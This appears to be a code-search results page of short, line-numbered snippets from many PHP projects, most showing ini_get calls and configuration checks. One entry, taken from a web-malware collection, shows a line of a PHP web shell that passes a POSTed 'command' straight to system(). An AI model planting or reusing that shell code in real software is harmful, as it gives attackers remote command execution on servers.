32						<option value='<?php echo $region['id']; ?>' <?php echo $selected; ?> ><?php echo $region['name']; ?></option>	<?php	
                    
33						} 
                    
93					?>
                    
94					<span>Select: <a href='<?php echo add_query_arg(array('selected_all' => 'all'))?>' class='wpsc_select_all'>All</a>&nbsp; <a href='<?php echo add_query_arg(array( 'selected_all'=>'none'))?>' class='wpsc_select_none'>None</a></span><br />
                    
95
                    
100								if($country['visible'] == 1){ ?>
                    
101									<input type='checkbox' name='countrylist2[]' value='<?php echo $country['id']; ?>'  checked='checked' /><?php echo $country['country']; ?><br />
                    
102						<?php	}else{ ?>
                    
102						<?php	}else{ ?>
                    
103									<input type='checkbox' name='countrylist2[]' value='<?php echo $country['id']; ?>'  /><?php echo $country['country']; ?><br />
                    
104						<?php	}
                    
129					} ?>
                    
130					<option value='<?php echo $currency['id']; ?>' <?php echo $selected; ?> ><?php echo htmlspecialchars($currency['country']); ?> (<?php echo $currency['currency']; ?>)</option>
                    
131		<?php	}  
                    
                
Manager.php https://gitlab.com/devtoannh/cafe | PHP | 463 lines
                    
1<?php
                    
2/**
                    
18 * @license    http://framework.zend.com/license/new-bsd     New BSD License
                    
19 * @version    $Id: Manager.php 23775 2011-03-01 17:25:24Z ralph $
                    
20 */
                    
22/** Zend_Memory_Container_Movable */
                    
23require_once 'Zend/Memory/Container/Movable.php';
                    
24
                    
25/** Zend_Memory_Container_Locked */
                    
26require_once 'Zend/Memory/Container/Locked.php';
                    
27
                    
28/** Zend_Memory_AccessController */
                    
29require_once 'Zend/Memory/AccessController.php';
                    
30
                    
34 *
                    
35 * This class encapsulates memory menagement operations, when PHP works
                    
36 * in limited memory mode.
                    
                
import.php https://gitlab.com/che234/adn | PHP | 189 lines
                    
1<?php
                    
2/*------------------------------------------------------------------------
                    
71		// Get an installer instance
                    
72		require_once( JPATH_COMPONENT .DS. 'helpers' .DS.'restorer.php' );
                    
73		$installer = JCKRestorer::getInstance();
                    
113
                    
114		// Make sure that file uploads are enabled in php
                    
115		if (!(bool) ini_get('file_uploads')) {
                    
                
CodeStyleTest.php https://gitlab.com/DEVLINE/magento2.git | PHP | 256 lines
                    
1<?php
                    
2/**
                    
11 */
                    
12namespace Magento\Test\Php\Exemplar;
                    
13
                    
13
                    
14class CodeStyleTest extends \PHPUnit_Framework_TestCase
                    
15{
                    
24    {
                    
25        self::$_reportFile = __DIR__ . '/../../../tmp/phpcs_report.xml';
                    
26        $wrapper = new \Magento\TestFramework\CodingStandard\Tool\CodeSniffer\Wrapper();
                    
27        self::$_cmd = new \Magento\TestFramework\CodingStandard\Tool\CodeSniffer(
                    
28            realpath(__DIR__ . '/../_files/phpcs'),
                    
29            self::$_reportFile,
                    
48
                    
49    public function testPhpCsAvailability()
                    
50    {
                    
                
ConfigurationCheck.php https://bitbucket.org/saltwaterdev/offshorefinancial.com.git | PHP | 606 lines
                    
1<?php
                    
2/**
                    
3 * Akeeba Engine
                    
4 * The modular PHP5 site backup engine
                    
5 *
                    
298		// really matter, as the backup WILL crash eventually.
                    
299		if (!function_exists('ini_get'))
                    
300		{
                    
303
                    
304		$memLimit = ini_get("memory_limit");
                    
305		$memLimit = $this->_return_bytes($memLimit);
                    
340	/**
                    
341	 * Q103 - HIGH - Less than 10" of max_execution_time with PHP Safe Mode enabled
                    
342	 *
                    
346	{
                    
347		$exectime = ini_get('max_execution_time');
                    
348		$safemode = ini_get('safe_mode');
                    
                
config.h https://gitlab.com/Manu343726/hhvm | C Header | 302 lines
                    
2   +----------------------------------------------------------------------+
                    
3   | HipHop for PHP                                                       |
                    
4   +----------------------------------------------------------------------+
                    
6   +----------------------------------------------------------------------+
                    
7   | This source file is subject to version 3.01 of the PHP license,     |
                    
8   | that is bundled with this package in the file LICENSE, and is        |
                    
9   | available through the world-wide-web at the following url:           |
                    
10   | http://www.php.net/license/3_01.txt                                  |
                    
11   | If you did not receive a copy of the PHP license and are unable to   |
                    
12   | obtain it through the world-wide-web, please send a note to          |
                    
13   | license@php.net so we can mail you a copy immediately.               |
                    
14   +----------------------------------------------------------------------+
                    
16
                    
17#ifndef incl_HPHP_CONFIG_H_
                    
18#define incl_HPHP_CONFIG_H_
                    
                
smarty_internal_resource_php.php https://gitlab.com/staging06/myproject | PHP | 119 lines
                    
1<?php
                    
2
                    
3/**
                    
4 * Smarty Internal Plugin Resource PHP
                    
5 * Implements the file system as resource for PHP templates
                    
11 */
                    
12class Smarty_Internal_Resource_PHP extends Smarty_Resource_Uncompiled
                    
13{
                    
14    /**
                    
15     * container for short_open_tag directive's value before executing PHP templates
                    
16     *
                    
21    /**
                    
22     * Create a new PHP Resource
                    
23
                    
26    {
                    
27        $this->short_open_tag = ini_get('short_open_tag');
                    
28    }
                    
                
php_ini.h https://gitlab.com/Blueprint-Marketing/hhvm | C Header | 90 lines
                    
35PHPAPI int php_parse_user_ini_file(const char *dirname, char *ini_filename, HashTable *target_hash TSRMLS_DC);
                    
36PHPAPI void php_ini_activate_config(HashTable *source_hash, int modify_type, int stage TSRMLS_DC);
                    
37PHPAPI int php_ini_has_per_dir_config(void);
                    
37PHPAPI int php_ini_has_per_dir_config(void);
                    
38PHPAPI int php_ini_has_per_host_config(void);
                    
39PHPAPI void php_ini_activate_per_dir_config(char *path, uint path_len TSRMLS_DC);
                    
40PHPAPI void php_ini_activate_per_host_config(const char *host, uint host_len TSRMLS_DC);
                    
41PHPAPI HashTable* php_ini_get_configuration_hash(void);
                    
42END_EXTERN_C()
                    
51
                    
52#define PHP_INI_MH    ZEND_INI_MH
                    
53#define PHP_INI_DISP  ZEND_INI_DISP
                    
57
                    
58#define PHP_INI_ENTRY3_EX  ZEND_INI_ENTRY3_EX
                    
59#define PHP_INI_ENTRY3    ZEND_INI_ENTRY3
                    
                
ConfigureTest.php https://gitlab.com/195/food-delivery | PHP | 518 lines
                    
6 *
                    
7 * CakePHP(tm) Tests <http://book.cakephp.org/2.0/en/development/testing.html>
                    
8 * Copyright (c) Cake Software Foundation, Inc. (http://cakefoundation.org)
                    
14 * @copyright     Copyright (c) Cake Software Foundation, Inc. (http://cakefoundation.org)
                    
15 * @link          http://book.cakephp.org/2.0/en/development/testing.html CakePHP(tm) Tests
                    
16 * @package       Cake.Test.Case.Core
                    
17 * @since         CakePHP(tm) v 1.2.0.5432
                    
18 * @license       http://www.opensource.org/licenses/mit-license.php MIT License
                    
19 */
                    
366		$this->assertTrue($result);
                    
367		$expected = '/test_app/plugins/test_plugin/config/load.php';
                    
368		$config = Configure::read('plugin_load');
                    
507		$result = file_get_contents(TMP . 'config_test.php');
                    
508		$this->assertContains('<?php', $result);
                    
509		$this->assertContains('$config = ', $result);
                    
                
Uploader.php https://gitlab.com/ivandevp/petshop | PHP | 299 lines
                    
1<?php
                    
2/*
                    
9* It is also available through the world-wide-web at this URL:
                    
10* http://opensource.org/licenses/osl-3.0.php
                    
11* If you did not receive a copy of the license and are unable to
                    
22*  @copyright  2007-2016 PrestaShop SA
                    
23*  @license    http://opensource.org/licenses/osl-3.0.php  Open Software License (OSL 3.0)
                    
24*  International Registered Trademark & Property of PrestaShop SA
                    
116    {
                    
117        $post_max_size = ini_get('post_max_size');
                    
118        $bytes         = trim($post_max_size);
                    
188                // Non-multipart uploads (PUT method support)
                    
189                file_put_contents($file_path, fopen('php://input', 'r'));
                    
190            }
                    
210            case 1:
                    
211                $error = sprintf(Tools::displayError('The uploaded file exceeds %s'), ini_get('upload_max_filesize'));
                    
212                break;
                    
                
functions_admin.php git://github.com/MightyGorgon/icy_phoenix.git | PHP | 370 lines
                    
1<?php
                    
2/**
                    
6* @copyright (c) 2008 Icy Phoenix
                    
7* @license http://opensource.org/licenses/gpl-license.php GNU Public License
                    
8*
                    
12*
                    
13* @Icy Phoenix is based on phpBB
                    
14* @copyright (c) 2008 phpBB Group
                    
218{
                    
219	$mem_limit = @ini_get('memory_limit');
                    
220	if (!empty($mem_limit))
                    
                
lang_main_attach.php git://github.com/MightyGorgon/icy_phoenix.git | PHP | 146 lines
                    
1<?php
                    
2/**
                    
6* @copyright (c) 2008 Icy Phoenix
                    
7* @license http://opensource.org/licenses/gpl-license.php GNU Public License
                    
8*
                    
45	'Downloaded' => 'Downloaded',
                    
46	'Download' => 'Download', // this Language Variable is defined in lang_admin.php too, but we are unable to access it from the main Language File
                    
47	'Filesize' => 'Filesize',
                    
74	'Attachment_php_size_na' => 'The Attachment is too big.<br />Couldn\'t get the maximum Size defined in PHP.<br />The Attachment Mod is unable to determine the maximum Upload Size defined in the php.ini.',
                    
75	'Attachment_php_size_overrun' => 'The Attachment is too big.<br />Maximum Upload Size: %d MB.<br />Please note that this Size is defined in php.ini, this means it\'s set by PHP and the Attachment Mod cannot override this value.', // replace %d with ini_get('upload_max_filesize')
                    
76	'FileType_Mismatch' => 'File type mismatch',
                    
76	'FileType_Mismatch' => 'File type mismatch',
                    
77	'Disallowed_extension' => 'The Extension %s is not allowed', // replace %s with extension (e.g. .php)
                    
78	'Disallowed_extension_within_forum' => 'You are not allowed to post Files with the Extension %s within this Forum', // replace %s with the Extension
                    
                
init.php https://gitlab.com/goolic/PrestaShop | PHP | 124 lines
                    
22 * @copyright 2007-2015 PrestaShop SA
                    
23 * @license   http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
                    
24 * International Registered Trademark & Property of PrestaShop SA
                    
30if (version_compare(preg_replace('/[^0-9.]/', '', PHP_VERSION), '5.2', '<')) {
                    
31    die('You need at least PHP 5.2 to run PrestaShop. Your current PHP version is '.PHP_VERSION);
                    
32}
                    
34// we check if theses constants are defined
                    
35// in order to use init.php in upgrade.php script
                    
36if (!defined('__PS_BASE_URI__')) {
                    
52require_once(_PS_CORE_DIR_.'/config/bootstrap.php');
                    
53require_once(_PS_CORE_DIR_.'/config/defines_uri.inc.php');
                    
54
                    
69require_once(_PS_CORE_DIR_.'/config/alias.php');
                    
70require_once(_PS_INSTALL_PATH_.'classes/exception.php');
                    
71require_once(_PS_INSTALL_PATH_.'classes/languages.php');
                    
                
download.php https://gitlab.com/endomorphosis/OLAAaction | PHP | 333 lines
                    
1<?php
                    
2/**
                    
113	/**
                    
114	 * Does the server support PHP's cURL extension?
                    
115	 * @return bool True if it is supported
                    
203		{
                    
204			// If we are not allowed to use ini_get, we assume that URL fopen is
                    
205			// disabled.
                    
205			// disabled.
                    
206			if(!function_exists('ini_get')) {
                    
207				$result = false;
                    
208			} else {
                    
209				$result = ini_get('allow_url_fopen');
                    
210			}
                    
231		} else {
                    
232			// PHP 4 way (actually, it's just a fallback as we can't run Admin Tools in PHP4)
                    
233			if( function_exists('ini_set') ) {
                    
                
timezone.php http://viet-group.googlecode.com/svn/trunk/ | PHP | 132 lines
                    
1<?php
                    
2/**
                    
84        ini_set( 'date.timezone', $global_config['site_timezone'] );
                    
85        if ( strcasecmp( ini_get( 'date.timezone' ), $global_config['site_timezone'] ) == 0 )
                    
86        {
                    
                
Response.php https://gitlab.com/x33n/grav | PHP | 219 lines
                    
1<?php
                    
2namespace Grav\Common\GPM;
                    
132    /**
                    
133     * Checks if the remote fopen request is enabled in PHP
                    
134     * @return boolean
                    
137    {
                    
138        return preg_match('/1|yes|on|true/i', ini_get('allow_url_fopen'));
                    
139    }
                    
                
mo.php https://gitlab.com/Blueprint-Marketing/wordpress-unit-tests | PHP | 143 lines
                    
1<?php
                    
2
                    
131		// that's why we are skipping it the stupid way
                    
132		if ((ini_get("mbstring.func_overload") & 2) != 0) {
                    
133			$mo = new MO();
                    
                
function.openssl-pkcs7-sign.html git://pkgs.fedoraproject.org/kdewebdev | HTML | 296 lines
                    
8REL="HOME"
                    
9TITLE="PHP Manual"
                    
10HREF="index.html"><LINK
                    
40ALIGN="center"
                    
41>PHP Manual</TH
                    
42></TR
                    
82><P
                    
83>    (PHP 4 &#62;= 4.0.6)</P
                    
84>openssl_pkcs7_sign&nbsp;--&nbsp;sign an S/MIME message</DIV
                    
188><PRE
                    
189CLASS="php"
                    
190>// the message you want to sign so that recipient can be sure it was you that
                    
209    // message signed - send it!
                    
210    exec(ini_get("sendmail_path") . " &#60; signed.txt");
                    
211}</PRE
                    
                
index.php https://github.com/markkevans/oscommerce2.git | PHP | 233 lines
                    
14
                    
15  if (function_exists('ini_get') && (PHP_VERSION < 4.3) && ((int)ini_get('register_globals') == 0)) {
                    
16    $compat_register_globals = false;
                    
34          <td><strong>PHP Version</strong></td>
                    
35          <td align="right"><?php echo PHP_VERSION; ?></td>
                    
36          <td align="right" width="25"><img src="images/<?php echo ((PHP_VERSION >= 4) ? 'tick.gif' : 'cross.gif'); ?>" border="0" width="16" height="16"></td>
                    
73          <td>session.use_trans_sid</td>
                    
74          <td align="right"><?php echo (((int)ini_get('session.use_trans_sid') == 0) ? 'Off' : 'On'); ?></td>
                    
75          <td align="right"><img src="images/<?php echo (((int)ini_get('session.use_trans_sid') == 0) ? 'tick.gif' : 'cross.gif'); ?>" border="0" width="16" height="16"></td>
                    
137
                    
138  if (file_exists(osc_realpath(dirname(__FILE__) . '/../../../admin/includes') . '/configure.php') && !osc_is_writable(osc_realpath(dirname(__FILE__) . '/../../../admin/includes') . '/configure.php')) {
                    
139    $configfile_array[] = osc_realpath(dirname(__FILE__) . '/../../../admin/includes') . '/configure.php';
                    
145    if ($compat_register_globals == false) {
                    
146      $warning_array['register_globals'] = 'Compatibility with register_globals is supported from PHP 4.3+. This setting <u>must be enabled</u> due to an older PHP version being used.';
                    
147    }
                    
                
SiteInformationForm.php https://gitlab.com/geeta7/drupal | PHP | 223 lines
                    
1<?php
                    
2
                    
96    if (empty($site_mail)) {
                    
97      $site_mail = ini_get('sendmail_from');
                    
98    }
                    
                
default-constants.php https://gitlab.com/Gashler/dp | PHP | 309 lines
                    
1<?php
                    
2/**
                    
2/**
                    
3 * Defines constants and global variables that can be overridden, generally in wp-config.php.
                    
4 *
                    
42	if ( function_exists( 'memory_get_usage' ) ) {
                    
43		$current_limit = @ini_get( 'memory_limit' );
                    
44		if ( -1 != $current_limit && ( -1 == WP_MEMORY_LIMIT || ( intval( $current_limit ) < abs( intval( WP_MEMORY_LIMIT ) ) ) ) )
                    
50
                    
51	// Add define('WP_DEBUG', true); to wp-config.php to enable display of notices during development.
                    
52	if ( !defined('WP_DEBUG') )
                    
54
                    
55	// Add define('WP_DEBUG_DISPLAY', null); to wp-config.php use the globally configured setting for
                    
56	// display_errors and not force errors to be displayed. Use false to force display_errors off.
                    
87 *
                    
88 * Defines must-use plugin directory constants, which may be overridden in the sunrise.php drop-in
                    
89 *
                    
                
mysqli.php https://code.google.com/p/celebrio/ | PHP | 461 lines
                    
1<?php
                    
2
                    
8 * This source file is subject to the "dibi license", and/or
                    
9 * GPL license. For more information please see http://dibiphp.com
                    
10 * @package    dibi\drivers
                    
13
                    
14require_once dirname(__FILE__) . '/mysql.reflector.php';
                    
15
                    
61		if (!extension_loaded('mysqli')) {
                    
62			throw new DibiDriverException("PHP extension 'mysqli' is not loaded.");
                    
63		}
                    
81			if (!isset($config['charset'])) $config['charset'] = 'utf8';
                    
82			if (!isset($config['username'])) $config['username'] = ini_get('mysqli.default_user');
                    
83			if (!isset($config['password'])) $config['password'] = ini_get('mysqli.default_pw');
                    
120			if (version_compare(PHP_VERSION , '5.1.5', '>=')) {
                    
121				// affects the character set used by mysql_real_escape_string() (was added in MySQL 5.0.7 and PHP 5.0.5, fixed in PHP 5.1.5)
                    
122				$ok = @mysqli_set_charset($this->connection, $config['charset']); // intentionally @
                    
                
Session_test.php https://gitlab.com/snead/pinmo-legacy | PHP | 440 lines
                    
1<?php
                    
2
                    
24		foreach ($this->settings as $name => $value) {
                    
25			$this->setting_vals[$name] = ini_get('session.'.$name);
                    
26			ini_set('session.'.$name, $value);
                    
42		// Make sure string helper is available
                    
43		$this->ci_vfs_clone('system/helpers/string_helper.php');
                    
44
                    
409
                    
410		// Native driver - bug #55267 (https://bugs.php.net/bug.php?id=55267) prevents testing this
                    
411		// $oldid = session_id();
                    
                
view.html.php https://gitlab.com/endomorphosis/OLAAaction | PHP | 138 lines
                    
1<?php
                    
2/**
                    
7?>
                    
8<?php
                    
9class EmailViewEmail extends JView
                    
41		$values = null;
                    
42		$values->maxupload = (acymailing_bytes(ini_get('upload_max_filesize')) > acymailing_bytes(ini_get('post_max_size'))) ? ini_get('post_max_size') : ini_get('upload_max_filesize');
                    
43		$toggleClass = acymailing_get('helper.toggle');
                    
78		$script .= "function insertTag(tag){ try{jInsertEditorText(tag,'editor_body'); document.getElementById('iframetag').style.display = 'none'; displayTags(); return true;} catch(err){alert('Your editor does not enable AcyMailing to automatically insert the tag, please copy/paste it manually in your Newsletter'); return false;}}";
                    
79		$iFrame = "'<iframe src=\'index.php?option=com_acymailing&ctrl=tag&task=tag&type=news\' width=\'100%\' height=\'100%\' scrolling=\'auto\'></iframe>'";
                    
80		$script .= "var openTag = true;
                    
97					openTag = !openTag;}";
                    
98		$iFrame = "'<iframe src=\'index.php?option=com_acymailing&ctrl=template&task=theme&tmpl=component\' width=\'100%\' height=\'100%\' scrolling=\'auto\'></iframe>'";
                    
99		$script .= "var openTemplate = true;
                    
                
OpenID_detect.php https://gitlab.com/r.collas/site_central | PHP | 511 lines
                    
169
                    
170		$gmp_lnk = $r->link('http://www.php.net/manual/en/ref.gmp.php', 'GMP');
                    
171		$bc_lnk = $r->link('http://www.php.net/manual/en/ref.bc.php', 'bcmath');
                    
189								'You may want to look into installing the GMP extension.');
                    
190				$lnk = $r->link('http://www.php.net/manual/en/ref.gmp.php');
                    
191				$out .= $r->p('See ' . $lnk . ' for more information ' .
                    
292	foreach (array('sqlite', 'mysql', 'pgsql') as $dbext) {
                    
293		if (extension_loaded($dbext) || ini_get('enable_dl') && function_exists('dl') && dl($dbext . '.' . PHP_SHLIB_SUFFIX)) {
                    
294			$found[] = $dbext;
                    
331	if (gettype($basedir_str) == 'string') {
                    
332		$url = 'http://www.php.net/manual/en/features.safe-mode.php' .
                    
333						'#ini.open-basedir';
                    
400						'The OpenID library will use an fsockopen()-based fetcher.');
                    
401		$lnk = $r->link('http://us3.php.net/manual/en/ref.curl.php');
                    
402		$out .= $r->p('See ' . $lnk . ' about enabling the libcurl support ' .
                    
                
install.php https://github.com/myconcretelab/concrete5.git | PHP | 338 lines
                    
79	protected function testAndRunInstall() {
                    
80		if (file_exists(DIR_CONFIG_SITE . '/site_install_user.php')) {
                    
81			require(DIR_CONFIG_SITE . '/site_install.php');
                    
110		$phpVmin = '5.2.4';
                    
111		if (version_compare(PHP_VERSION, $phpVmin, '>=')) {
                    
112			$phpVtest = true;
                    
116		$this->set('phpVmin',$phpVmin);
                    
117		$this->set('phpVtest',$phpVtest);
                    
118	}
                    
224	public function reset() {
                    
225		// remove site.php so that we can try again ?
                    
226		return;
                    
229		}
                    
230		if (file_exists(DIR_CONFIG_SITE . '/site_install.php')) {
                    
231			unlink(DIR_CONFIG_SITE . '/site_install.php');
                    
                
the7-status.php https://bitbucket.org/tulsagraphics/themes.git | PHP | 328 lines
                    
95                <tr>
                    
96                    <td data-export-label="PHP Version"><?php _e( 'PHP Version:', 'the7mk2' ); ?></td>
                    
97                    <td><?php if ( function_exists( 'phpversion' ) ) {
                    
102                    <tr>
                    
103                        <td data-export-label="PHP Post Max Size"><?php _e( 'PHP Post Max Size:', 'the7mk2' ); ?></td>
                    
104                        <td><?php echo size_format( wp_convert_hr_to_bytes( ini_get( 'post_max_size' ) ) ); ?></td>
                    
106                    <tr>
                    
107                        <td data-export-label="PHP Time Limit"><?php _e( 'PHP Time Limit:', 'the7mk2' ); ?></td>
                    
108                        <td>
                    
115                    <tr>
                    
116                        <td data-export-label="PHP Max Input Vars"><?php _e( 'PHP Max Input Vars:', 'the7mk2' ); ?></td>
                    
117						<?php
                    
290                <tr>
                    
291                    <th colspan="3" data-export-label="Active Plugins (<?php echo count( (array) get_option( 'active_plugins' ) ); ?>)"><?php _e( 'Active Plugins', 'the7mk2' ); ?> (<?php echo count( (array) get_option( 'active_plugins' ) ); ?>)</th>
                    
292                </tr>
                    
                
functions_install.php https://github.com/rhmg/website.git | PHP | 559 lines
                    
1<?php
                    
2/**
                    
4* @package install
                    
5* @version $Id: functions_install.php 9970 2009-08-13 15:25:20Z acydburn $
                    
6* @copyright (c) 2006 phpBB Group
                    
36	}
                    
37	return ((@ini_get('enable_dl') || strtolower(@ini_get('enable_dl')) == 'on') && (!@ini_get('safe_mode') || strtolower(@ini_get('safe_mode')) == 'off') && function_exists('dl') && @dl($dll . '.' . PHP_SHLIB_SUFFIX)) ? true : false;
                    
38}
                    
278{
                    
279	global $phpbb_root_path, $phpEx, $config, $lang;
                    
280
                    
285		// Include the DB layer
                    
286		include($phpbb_root_path . 'includes/db/' . $dbms . '.' . $phpEx);
                    
287	}
                    
301	// Make sure we don't have a daft user who thinks having the SQLite database in the forum directory is a good idea
                    
302	if ($dbms_details['DRIVER'] == 'sqlite' && stripos(phpbb_realpath($dbhost), phpbb_realpath('../')) === 0)
                    
303	{
                    
                
font_coverage.php git://github.com/ceeram/CakePdf.git | PHP | 255 lines
                    
1<?php
                    
2
                    
5   Point your browser to 
                    
6   http://your.domain/your_path_to _mpdf/utils/font_coverage.php
                    
7   By default this will examine the folder /ttfonts/ (or the default font
                    
26//==============================================================
                    
27include("../mpdf.php");
                    
28
                    
40
                    
41$mqr=ini_get("magic_quotes_runtime");
                    
42if ($mqr) { set_magic_quotes_runtime(0); }
                    
42if ($mqr) { set_magic_quotes_runtime(0); }
                    
43if (!class_exists('TTFontFile', false)) { include(_MPDF_PATH .'classes/ttfontsuni.php'); }
                    
44
                    
76// loads array $unicode_ranges
                    
77include('UnicodeRanges.php'); 
                    
78//==============================================================
                    
                
adodb-session-clob.php https://github.com/radicalsuz/amp.git | PHP | 439 lines
                    
1<?php
                    
2/*
                    
8  
                    
9  Latest version of ADODB is available at http://php.weblogs.com/adodb
                    
10  ======================================================================
                    
11  
                    
12 This file provides PHP4 session management using the ADODB database
                    
13 wrapper library, using Oracle CLOB's to store data. Contributed by achim.gosse@ddd.de.
                    
18 	GLOBAL $HTTP_SESSION_VARS;
                    
19	include('adodb.inc.php');
                    
20	include('adodb-session.php');
                    
28 	GLOBAL $HTTP_SESSION_VARS;
                    
29	include('adodb.inc.php');
                    
30	include('adodb-session.php');
                    
59	
                    
60  3. Recommended is PHP 4.0.6 or later. There are documented
                    
61	 session bugs in earlier versions of PHP.
                    
                
rich_filemanager-filemanager-php.tmpl git://github.com/justingit/dada-mail.git | Go Template | 119 lines
                    
1<?php
                    
2ini_set('session.save_path',realpath('<!-- tmpl_var i_rich_filemanager_session_dir -->'));
                    
4/**
                    
5 * Entry point for PHP connector, put your customizations here.
                    
6 *
                    
15
                    
16require 'vendor/autoload.php';
                    
17
                    
21
                    
22// fix for undefined timezone in php.ini
                    
23// https://github.com/servocoder/RichFilemanager/issues/43
                    
23// https://github.com/servocoder/RichFilemanager/issues/43
                    
24if(!ini_get('date.timezone')) {
                    
25    date_default_timezone_set('GMT');
                    
                
s72 Shell v1.1 Coding.php http://web-malware-collection.googlecode.com/svn/trunk/ | PHP | 141 lines
                    
48        <font color="#FF0000">
                    
49        <textarea readonly size="1" rows="7" cols="53"><?php @$output = system($_POST['command']); ?></textarea></font><p align="center">
                    
50        &nbsp;<p align="center">
                    
82</form>
                    
83<?php
                    
84
                    
126        <br /><br /> </font>
                    
127              <?php 
                    
128// Check for Safe Mode
                    
128// Check for Safe Mode
                    
129if( ini_get('safe_mode') ) {
                    
130   print '<font color=#FF0000><b>Güvenlik Açýk</b></font>';
                    
                
TagTest.php https://gitlab.com/Georgiy.Zhegusov/museum_documents | PHP | 313 lines
                    
1<?php
                    
2/**
                    
2/**
                    
3 * phpDocumentor Var Tag Test
                    
4 * 
                    
4 * 
                    
5 * PHP version 5.3
                    
6 *
                    
8 * @copyright 2010-2011 Mike van Riel / Naenius. (http://www.naenius.com)
                    
9 * @license   http://www.opensource.org/licenses/mit-license.php MIT
                    
10 * @link      http://phpdoc.org
                    
12
                    
13namespace phpDocumentor\Reflection\DocBlock;
                    
14
                    
14
                    
15use phpDocumentor\Reflection\DocBlock;
                    
16use phpDocumentor\Reflection\DocBlock\Context;
                    
                
SmartPanMail.php https://bitbucket.org/aswinvk28/smartpan-stock-drupal.git | PHP | 142 lines
                    
9
                    
10use Drupal\Core\Mail\PhpMail;
                    
11
                    
32    *
                    
33    * @see http://php.net/manual/en/function.mail.php
                    
34    * @see drupal_mail()
                    
36    public function mail(array $message) {
                    
37        // If 'Return-Path' isn't already set in php.ini, we pass it separately
                    
38        // as an additional parameter instead of in the header.
                    
50        }
                    
51        $line_endings = settings()->get('mail_line_endings', PHP_EOL);
                    
52        // Prepare mail commands.
                    
53        $mail_subject = mime_header_encode($message['subject']);
                    
54        // Note: e-mail uses CRLF for line-endings. PHP's API requires LF
                    
55        // on Unix and CRLF on Windows. Drupal automatically guesses the
                    
                
mdl.url.php http://phpfor.googlecode.com/svn/trunk/ | PHP | 178 lines
                    
1<?php
                    
2/**
                    
23        $map = null;
                    
24        if(include(PLUGIN_DIR.'/functions/urlmap.php')){
                    
25            if(is_array($map) && ($url!=($result = preg_replace(array_keys($map),$map,$url)))) {
                    
90            case 'discuz_reply.do':
                    
91                include_once(CORE_DIR."/func_ext.php");
                    
92                return $this->system->mkUrl('passport','callback',array('discuz')).'?action='.http_build_query($action);
                    
131        // Argument seperator
                    
132        $separator = ini_get('arg_separator.output');
                    
133
                    
170        // Argument seperator
                    
171        $separator = ini_get('arg_separator.output');
                    
172
                    
                
FloatEncoder.php https://bitbucket.org/fastestsolution/dev_concitatech_cz.git | PHP | 148 lines
                    
1<?php
                    
2
                    
2
                    
3namespace Riimu\Kit\PHPEncoder\Encoder;
                    
4
                    
8 * @copyright Copyright (c) 2014-2018 Riikka Kalliomäki
                    
9 * @license http://opensource.org/licenses/mit-license.php MIT License
                    
10 */
                    
44    /**
                    
45     * Encodes the number as a PHP number representation.
                    
46     * @param float $float The number to encode
                    
48     * @param callable $encode Callback used to encode values
                    
49     * @return string The PHP code representation for the number
                    
50     */
                    
88    {
                    
89        $minimum = \defined('PHP_INT_MIN') ? \PHP_INT_MIN : ~\PHP_INT_MAX;
                    
90
                    
                
common.php https://github.com/chyrp/site.git | PHP | 311 lines
                    
1<?php
                    
2    /**
                    
66    # Constant: INDEX
                    
67    # Is the requested file /index.php?
                    
68    define('INDEX', (pathinfo($_SERVER['SCRIPT_NAME'], PATHINFO_BASENAME) == "index.php") and !ADMIN);
                    
109        extension_loaded("zlib") and
                    
110        !ini_get("zlib.output_compression") and
                    
111        isset($_SERVER['HTTP_ACCEPT_ENCODING']) and
                    
120    # Various functions used throughout Chyrp's code.
                    
121    require_once INCLUDES_DIR."/helpers.php";
                    
122
                    
124    # Gettext library.
                    
125    require_once INCLUDES_DIR."/lib/gettext/gettext.php";
                    
126
                    
128    # Streams library.
                    
129    require_once INCLUDES_DIR."/lib/gettext/streams.php";
                    
130
                    
                
LegacyApcUniversalClassLoaderTest.php https://gitlab.com/4gdevs/online-class-record-system | PHP | 190 lines
                    
1<?php
                    
2
                    
19 */
                    
20class LegacyApcUniversalClassLoaderTest extends \PHPUnit_Framework_TestCase
                    
21{
                    
23    {
                    
24        if (ini_get('apc.enabled') && ini_get('apc.enable_cli')) {
                    
25            apc_clear_cache('user');
                    
32    {
                    
33        if (ini_get('apc.enabled') && ini_get('apc.enable_cli')) {
                    
34            apc_clear_cache('user');
                    
                
attachment_types.php https://gitlab.com/mybbpl/ppm-1.8 | PHP | 360 lines
                    
1<?php
                    
2/**
                    
16
                    
17$page->add_breadcrumb_item($lang->attachment_types, "index.php?module=config-attachment_types");
                    
18
                    
73			flash_message($lang->success_attachment_type_created, 'success');
                    
74			admin_redirect("index.php?module=config-attachment_types");
                    
75		}
                    
82		'title' => $lang->attachment_types,
                    
83		'link' => "index.php?module=config-attachment_types"
                    
84	);
                    
87		'title' => $lang->add_new_attachment_type,
                    
88		'link' => "index.php?module=config-attachment_types&amp;action=add",
                    
89		'description' => $lang->add_attachment_type_desc
                    
93
                    
94	$form = new Form("index.php?module=config-attachment_types&amp;action=add", "post", "add");
                    
95
                    
                
Client.php git://github.com/jyxo/php.git | PHP | 271 lines
                    
1<?php declare(strict_types = 1);
                    
2
                    
3/**
                    
4 * Jyxo PHP Library
                    
5 *
                    
10 * It is also available through the world-wide-web at this URL:
                    
11 * https://github.com/jyxo/php/blob/master/license.txt
                    
12 */
                    
21use function fclose;
                    
22use function ini_get;
                    
23use function is_resource;
                    
35 * @copyright Copyright (c) 2005-2011 Jyxo, s.r.o.
                    
36 * @license https://github.com/jyxo/php/blob/master/license.txt
                    
37 * @author Ondřej Procházka
                    
202
                    
203		if (ini_get('safe_mode')) {
                    
204			// If the safe_mode is set on, we have to check which properties we are allowed to set.
                    
                
optimalpayments.php http://ymscorp.googlecode.com/svn/trunk/ | PHP | 115 lines
                    
1<?php //00d4b
                    
2// *************************************************************************
                    
33// *************************************************************************
                    
